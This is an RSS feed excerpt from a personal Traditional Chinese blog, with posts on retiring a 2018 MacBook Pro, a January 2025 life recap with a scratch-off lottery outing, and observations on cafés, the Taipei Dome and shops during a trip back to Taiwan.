<li><a href="https://zh.wikipedia.org/zh-tw/%E4%B9%9D%E5%8F%88%E5%9B%9B%E5%88%86%E4%B9%8B%E4%B8%89%E6%9C%88%E5%8F%B0" target="_blank" rel="noreferrer">9 ¾ 月台<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：出自哈利波特，倫敦國王十字車站搭乘霍格華茲特快車的隱藏月台</li>
<li><a href="https://go.dev/blog/gopher" target="_blank" rel="noreferrer">Gopher<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：Go 程式語言的吉祥物。當時還沒學的程式語言，現在工作天天寫</li>
<li>Hands off this machine is learning：別碰！這台機器正在學習！因為這台 Mac 確實用來訓練了不少模型 XDDDD</li>
<li>我的經典 Logo：歷久不衰 (?!?!?!)</li>
<li><a href="https://www.docker.com/company/newsroom/media-resources/" target="_blank" rel="noreferrer">Docker<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：容器化工具，貼上去的時候還沒用過，現在也是工作天天用</li>
<li>葡萄汽水瓶蓋：出自《天外奇蹟》(Up)，<a href="https://youtu.be/ePa0x-bh6Do?si=5EN4N3e2RMQJIx7P" target="_blank" rel="noreferrer">For performing above and beyond the Call of Duty<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li>誠品 × Traveler&rsquo;s Company 聯名貼紙：活版立體印刷，摸上去既有和紙的舒適，又有立體的紋路，最適合我這種假文青 (?)</li>
<li><a href="https://huggingface.co/" target="_blank" rel="noreferrer">HuggingFace<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：<abbr title="Natural Language Processing 自然語言處理">NLP</abbr> 界的第一把交椅 Library，是我在中興實驗室和畢業專題不可或缺的重要基石</li>
<li><a href="https://flutter.dev/" target="_blank" rel="noreferrer">Flutter<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：當時具有無限潛力的跨平台前端框架，玩了幾次，後來就沒啥碰了</li>
<li>Chrome 小恐龍：網路斷線時的好朋友，可 i ❤️</li>
</ul>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/boxing-my-3rd-macbook-pro/macbook-pro-barcelona-dent.jpg"
      class="mx-auto my-0 rounded-md"
      alt="MacBook Pro 一角的特寫，略有凹陷"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">這台筆電唯一的凹槽，雖然看起來不是特別明顯，但手指劃過去時存在感特別強烈。<br/>他又稱為巴塞隆納，因為同名的城市，青旅床位特別小</figcaption>
</figure>
</p>
<h2 id="-保護套" class="relative group">🛡️ 保護套 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/boxing-my-3rd-macbook-pro/incase-envelope-sleeve.jpg"
      class="mx-auto my-0 rounded-md"
      alt="黑色 Incase 電腦保護套打開的樣子，裡面放著有貼紙裝飾的 MacBook Pro"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>關於跟這台筆電搭配的保護套，有一個小故事可以講。</p>
<p>身為一個經常帶 MacBook 去咖啡廳<del>裝逼</del>辦公的人，上廁所免不了需要把筆電一起帶進去，這時候筆電如果有一個保護套會方便許多。於是我就帶我媽去 101 的 Apple Store 展示當時 Apple 官方最高貴的<a href="https://web.archive.org/web/20180830061616/https://www.apple.com/shop/product/MRQU2ZM/A/leather-sleeve-for-15-inch-macbook-pro-midnight-blue" target="_blank" rel="noreferrer">皮革保護套<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<p>那個絲滑的質感，再加上筆電放進去時，四個橡膠腳墊分毫不差的滑入留好的孔洞，真的是只有「舒爽」兩個字能形容。</p>
<p>可惜皮革要價不斐，NT$6000，太貴了。</p>
<p>彼時，我再拿出隔壁副廠 <a href="https://www.incase.com/collections/macbook-pro-15-inch-2016-2019/products/envelope-sleeve-in-woolenex-for-15-macbook-pro" target="_blank" rel="noreferrer">Incase 的這個保護套<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，雖然是聚酯纖維，但質感還是相當好，簡單俐落的信封造型，而且筆電滑到底時開口的隱藏磁鐵會自動吸上，還可以方便夾些文件，雖然還是不便宜，但是只要前者的 1/3 左右，我媽二話不說就答應了。</p>
<p>我想我確實是有些生意頭腦的吧 (自信甩髮 (???</p>
<h2 id="-歷史" class="relative group">📜 歷史 </h2><p>一台要價台幣十萬的電腦，當然服役的年份也得對得起這個價格。但中間當然也不是沒有波折。這台電腦總共經歷過 2 次大修：</p>
<ul>
<li>2018 年 8 月啟用</li>
<li>2020 年 2 月 (18 個月)：電池效應，上機殼 (鍵盤) 有些微膨脹，官方報價 US$498</li>
<li>2021 年 3 月 (30 個月)：螢幕有些微色斑，如果沒記錯應該是防眩光塗層脫落，所以螢幕是整塊換了，再加上電池容量也有減損，但這一代的電池必須要整個上機殼一起更換，所以上機殼也換了，官方報價 US$1097</li>
</ul>
<p>當時購入的時候花了差不多一萬塊加購 AppleCare，所以這將近快五萬塊的維修費全部 Apple 買單，真的是名符其實的阿婆保佑，應該是我買過 Apple C/P 值最高的產品，沒有之一。</p>
<p>2022 年時我幫這台電腦設定的大限是碩士畢業，其實差不多就是撰寫這篇文的現在，2025。但自從 2023 年底升上 macOS Sonoma 之後，就變得越來越不穩定，最惱人的問題之一是，他如果待機過久，系統小睡會直接睡到斷片，畫面還在，但是沒有反應，必須強制重開機。最後忍無可忍，就決定提前半年換新機了，剛好工作整整 6 年。</p>
<h2 id="-傳奇" class="relative group">👑 傳奇 </h2><p>或許不是所有人都能同意，但我認為這可能是 Apple 至今推出過，最接近完美的一代 MacBook Pro。</p>
<p>首先，重量和體積都壓縮到了非常有感的輕薄，換到 2024 年版的時候，那重量讓我一度懷疑店員是不是拿成 2004 年版的。而為了達到這個輕薄的程度，這一台所搭載的第二代蝴蝶腳鍵盤雖然還是稱不上完美，卻也足以滿足我外出沒有外接鍵盤時的需求。</p>
<p>I/O 的部分則是簡約到只留下 4 個 USB-C / Thunderbolt，頂多再加一個耳機孔。在家我可以一條線接 Hub 滿足外接螢幕、硬碟、充電；出門就是一個孔充電，一個孔接螢幕或配件。我可以自由支配 4 個孔各自的用途。</p>
<p>最後當然還是要提一下 Touch Bar，雖然大部分時候裝飾的成分居多，不可否認的是這依舊是一項交互體驗的十足創新。據我自己的經驗，Touch Bar 適合的操作有三種：</p>
<ol>
<li>提供鍵盤、滑鼠、觸控板難以取代的觸控回饋體驗：比方説要快速翻閱 1000 張照片，找到需要的某一張，滑鼠、鍵盤只能用點的，觸控板雖然可以快速捲動，但沒辦法把捲動的速度跟縮圖產生連結。</li>
<li>作為「有點複雜，但又不會過於複雜操作」的快捷鍵：太簡單的操作，使用者可能會傾向使用鍵盤快捷鍵，太複雜的操作，適合用滑鼠慢慢確認每一步，中間的這個空間，就是適合放在 Touch Bar 進行的操作，一個我常用的例子是在 Excel/Numbers 裡輸入函數或快速完成表格。</li>
<li>裝逼：比方説<a href="macbook-pro-touch-bar-pac-man.jpg">這樣</a>，或是<a href="macbook-pro-touch-bar-nyan-cat.jpg">這樣</a></li>
</ol>
<p>上面的這些設計，現在大部分都不存在了，對大部分專業使用者來說：</p>
<ul>
<li>重量本來就不是一個很重要的考量，不然就去買 MacBook Air 就好了</li>
<li>拿一個 USB-C 去換成 HDMI + SD 讀卡槽，包包就是少帶兩條轉接線</li>
<li>附有功能鍵的剪刀腳鍵盤，可是經過了長時間的考驗，他不可動搖的地位，依舊是遠超出了 Apple 的預期</li>
</ul>
<p>即便 Apple 在 Mac 上這幾年多了些妥協，但也是在這些經典的設計回歸時，我才意識到這個品牌曾經為筆電的未來，描繪出多麼激進且前衛的願景。</p>
<h2 id="-結語" class="relative group">🔚 結語 </h2><p>趁著年初回台灣，總算是把剩下的檔案遷移完了。系統也重新恢復成了出廠時最早支援的版本，做最後一次的外觀清理，然後放回當時買來的盒子。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/boxing-my-3rd-macbook-pro/macbook-pro-in-the-box.jpg"
      class="mx-auto my-0 rounded-md"
      alt="貼滿貼紙的 MacBook Pro 放在即將闔上的盒子中"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>謹此紀念，見證我生命中最輝煌歲月的一台電腦，陪我讀完大學、走遍歐洲、前往美國、攻讀研究所——這是我的 MacBook Pro 2018。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>我也挺意外現在居然還有在賣&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>📱 科技</category><guid isPermaLink="false">boxing-my-3rd-macbook-pro</guid><pubDate>Tue, 04 Mar 2025 19:03:22 -0800</pubDate></item><item><title>2025 年 1 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-january-dump/</link><description>輕鬆寫意的第一章</description><content:encoded><![CDATA[<p>雖然是 1 月的報報，但這篇文其實也包含了 2 月的上半個月，總之差不多是涵蓋今年回台灣的種種生活記事。</p>
<p>大部分有趣的東西、有趣的想法都寫在<a href="/zh-tw/posts/taiwan-2025/">《回台隨筆 2025》</a>了。這裡就隨便放些照片唄。</p>
<h2 id="-吃的" class="relative group">😋 吃的 </h2><p>總之都是一些在台灣覺得很理所當然，但在美國整理照片的時候會覺得：后里蟹看起來也太好吃了吧的食物們。</p>
<p>因為我現在吃不到所以不想一一交代這些是啥，嘻嘻</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-january-dump/tongan-japanese-curry.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-january-dump/overthink.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-january-dump/ms-wh.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>




<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-january-dump/hikiniku-to-come.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-january-dump/egg-waffle.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-january-dump/brun.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<h2 id="-刮刮樂路跑" class="relative group">🎟️ 刮刮樂路跑 </h2><p>酒精路跑我可能玩不了，大概第一站還沒結束就會倒了 (?) 但刮刮樂總行了吧</p>
<p>去年在美國沒辦法參加第一屆，今年難得這組合完成度挺高的，就在宜蘭玩了刮刮樂路跑 XDDDD</p>
<p>廢話不多說直接先上成績單：</p>
<table>
  <thead>
      <tr>
          <th>#</th>
          <th></th>
          <th>支出</th>
          <th>收入</th>
          <th>累積收益</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>金愛台灣</td>
          <td>NT$200</td>
          <td>NT$0</td>
          <td>-NT$200</td>
      </tr>
      <tr>
          <td>2</td>
          <td>恭喜發財</td>
          <td>NT$0</td>
          <td>NT$200</td>
          <td>NT$0</td>
      </tr>
      <tr>
          <td>3</td>
          <td>金蛇報喜</td>
          <td>NT$200</td>
          <td>NT$0</td>
          <td>-NT$200</td>
      </tr>
      <tr>
          <td>4</td>
          <td>年貨大街</td>
          <td>NT$200</td>
          <td>NT$0</td>
          <td>-NT$400</td>
      </tr>
      <tr>
          <td>5</td>
          <td>鈔票一把抓</td>
          <td>NT$300</td>
          <td>NT$0</td>
          <td>-NT$700</td>
      </tr>
      <tr>
          <td>6</td>
          <td>無敵 30 倍</td>
          <td>NT$300</td>
          <td>NT$300</td>
          <td>-NT$700</td>
      </tr>
      <tr>
          <td>7</td>
          <td>2000 萬超級紅包</td>
          <td>NT$400</td>
          <td>NT$400</td>
          <td>-NT$700</td>
      </tr>
      <tr>
          <td>8</td>
          <td>2000 萬超級紅包</td>
          <td>NT$400</td>
          <td>NT$400</td>
          <td>-NT$700</td>
      </tr>
  </tbody>
</table>
<p>🐸 勒怎麼好像虧的有點多，不嘻嘻</p>
<p>眼尖的你可能會發現，欸奇怪第二張怎麼沒有支出呢？那是因為培修第一張只用 200 塊就不小心刮出 5000 塊大獎了，所以第二張全部給他請 😂😂😂</p>
<p>另外一個小彩蛋是，我們在進入第 6 站前有些人口渴了，於是就去買了得正，不喝還好，喝一喝後面就得正了？？？？？？<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-january-dump/scratch-off-marathon.jpg"
      class="mx-auto my-0 rounded-md"
      alt="我們一行人拿著超大張的刮刮樂合照"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">最終戰大家集資了 2000 塊巨大刮刮樂，幸好最後我們見好就收(?</figcaption>
</figure>
</p>
<p>不知道明年還能不能回台灣過年嗚嗚嗚，但如果有的話希望還有下一屆 xDDD</p>
<h2 id="-酷酷的東西" class="relative group">☎️ 酷酷的東西！！！ </h2><p>跟怪怪的組合 (?) 去台北當代藝術館玩可以遙控的家電 (??????)</p>

<script src="https://geo.dailymotion.com/player/xc41k.js" data-video="x9esn04"></script>
<p>這是 <a href="https://www.mocataipei.org.tw/tw/ExhibitionAndEvent/Info/No*Language" target="_blank" rel="noreferrer">No Language<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 展覽的一部分，會持續展出到 5/4 (或是遙控家電被玩壞為止 (X))。</p>
<p>其他藝文活動還有：</p>
<ul>
<li>去了忠泰美術館 (一樣在<a href="/zh-tw/posts/taiwan-2025/">《回台隨筆 2025》</a>)</li>
<li>找了一個平日早上去看《星際效應》的重映，4DX 包場，真香</li>
<li>把<a href="/zh-tw/posts/once-upon-a-tome/">《從前從前，有間古書店》</a>重新再翻了一遍</li>
</ul>
<h2 id="-書店" class="relative group">📚 書店 </h2><p>這次回來去了兩間獨立書店</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-january-dump/the-1-bookstore.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-january-dump/now-here-book-store.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="小小的店門口，有一個燈箱上寫著「飛地」"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center"><a href="https://maps.app.goo.gl/uKW9YAsvQ8japRas8" target="_blank" rel="noreferrer">一間書店<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>藏身於中山的某個青年旅館中<br/><a href="https://maps.app.goo.gl/fW8dZDvD98tcMYN69" target="_blank" rel="noreferrer">飛地 nowhere<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 是從香港搬遷到台灣的獨立小書店</figcaption>

<figcaption class="text-center"></figcaption>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><ul>
<li>✅ Roadmap 我的 2025：詳情請見 <a href="/zh-tw/posts/2024-year-in-review/">2024 回顧</a> &amp; <a href="/zh-tw/posts/2025-outlooks/">2025 展望</a></li>
<li>🟡 K MVP：最基本的功能差不多完成了，作為工程師我對這個成果很滿意，但作為使用者，我又開始跟 (也是我) 的 PM 抱怨這樣根本稱不上是 MVP，距離我現階段最低的需求還有一段距離，我只能說我太難了。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
<li>✅ 另外寫 2 篇文章</li>
</ul>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>Music Pipeline: 音樂產業持續的在變化，但我的歌路開發似乎還沒適應這個快速變化的市場和領域，也差不多有些時間來想想可以怎麼重新跟上腳步了。</li>
<li>Photo Pipeline: 整體而言是一個複雜的問題，在今年的展望文裡面有寫了，作為初步構想，先嘗試思考以下的問題
<ul>
<li>攝影的意義是什麼？在社交媒體出現之前，大家按下快門的動機是什麼？(歡迎有想法的人在下面留言)</li>
<li>如何保存？如何備份？</li>
</ul>
</li>
<li>給自己買束花吧！</li>
</ol>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>其實當時剛好是三個業績差的一起去喝，其中有兩個人負負得正了，至於誰還是負的，我就不忍說了 🙈&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>透過這個案例或許就可以理解為什麼我的人格有時候這麼分裂，還經常自言自語。新的一年還請大家多多擔待 (我是不會感到抱歉的 (??????&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-january-dump</guid><pubDate>Thu, 20 Feb 2025 23:48:38 -0800</pubDate></item><item><title>回台隨筆 2025</title><link>https://blog.tomy.me/zh-tw/posts/taiwan-2025/</link><description>今年回台灣的一些觀察，大部分是抱怨，想啥寫啥。</description><content:encoded><![CDATA[<h2 id="-星巴克" class="relative group">🧜🏻‍♀️ 星巴克 </h2><ul>
<li>玫瑰蜜香茶那提變的好水好難喝，簡直連某些美國的妖魔鬼怪飲料都不如</li>
<li>App 的行動預點太慢了，拜託改進一下</li>
<li>回收杯的這個想法挺不錯的，但塑膠杯子廉價感太強烈，似乎有損品牌形象
<ul>
<li>但看完國外各種不環保的鋪張浪費，再回來看這整套系統，真是可愛的像個笑話<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
</ul>
</li>
<li>有些門市好像會開始積極處理顧客 (其實大部分應該是學生) 用物品佔位的行為，或許是件好事&hellip;嗎</li>
</ul>
<h2 id="-路易莎" class="relative group">☕️ 路易莎 </h2><ul>
<li>去了象山藝文門市，坐落在信義區某高級社區的大廳，旁邊是藝廊，挺酷的</li>
<li>不管是飲料還是食物的價格好像都沒有漲太多，蠻意外的，值得嘉許</li>
</ul>
<p>另外想討論一下最近路易莎因為驅趕罷免連署所以被抵制。</p>
<p>路易莎的長期政策好像一直都是降低產品售價，期待透過二次消費來提高營收。我看到 Threads 上有些人抱怨路易莎現在變的比圖書館還要像圖書館，因為總是坐滿在念書的高中生，但如果大家還記得的話，圖書館一開始存在的目的也不是提供學生念書的環境：）價格本來就是區分客群最直接的方式，作為消費的顧客，如果不希望周圍出現學生，那應該是我自己要選擇去價位比較高的咖啡廳，甚至如果是要辦公，就應該去共享辦公室，在咖啡廳裡大聲講電話我覺得甚至比安靜念書的學生還更差勁。但就憑這個現況去抹殺路易莎提供平價、優質顧客空間的社會責任，我覺得就十分可惜了。</p>
<p>作為一間要賺錢的企業，把價格帶壓低是有很多風險的，難以控制的問題會層出不窮，但如果消費者也回頭去圍剿這些公司導致他們無法生存，那失去的就是提供平價產品和社會責任的企業，我不覺得這是我們樂見的情況。</p>
<h2 id="-大巨蛋" class="relative group">🥚 大巨蛋 </h2><p>所有跟大巨蛋扯上關係的人、事，不管是環評、古蹟、消防、疏散計畫、護樹團體、(其實沒)被保護的老樹、遠雄、北市府、趙藤雄還是柯文哲，似乎現在沒一個好過，台北市民晚了 10 年開始享用這顆蛋，前面提到的這些問題&hellip;&hellip;似乎也沒有因為多花了時間而真的被解決，但就算時間倒轉，換個方式換個人，我左思右想也想不到這故事能有多好的結局。</p>
<p>歹戲是拖棚了，但大巨蛋終於還是啟用了。</p>
<p>這次沒排到時間進場看球或看表演，可能就留待未來吧，但是有路過一個台灣職棒的小展覽：</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/taiwan-2025/from-dome-to-future.jpg"
      class="mx-auto my-0 rounded-md"
      alt="《From Dome To Future 巨誕》展覽背板"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">《From Dome To Future 巨誕》</figcaption>
</figure>
</p>
<p>適逢經典賽奪冠，看著還是挺感動的，期待大巨蛋的啟用能為台灣的體壇再注入一股新的活水。</p>
<h2 id="-誠品松菸" class="relative group">🏭 誠品松菸 </h2><p>也剛好大巨蛋啟用之後，從捷運站走去松菸再也不用繞一大圈了 (咦原來這是最大的優點嗎)</p>
<p>為了完美復刻誠品信義的各個區域，好像有些店面被收回去改裝成新的館。挺意外在台灣生育率不斷降低的情況下，兒童館居然還是保留了下來，我心心念念的音樂館，還有文具館的卡片角落也被完美復刻，真的是心滿意足了。</p>
<p>話說在美國看太多不怎麼好看的東西，回來什麼都覺得好漂亮，希望我的審美觀還有救 (唉)</p>
<h2 id="-麥當勞" class="relative group">🍟 麥當勞 </h2><p>麥當勞自從經營權賣給台灣之後搞了很多新菜色，也搞了自己的點點卡。上一次回來沒把裡面的餘額用光，就變成這次回來的一件雜事。</p>
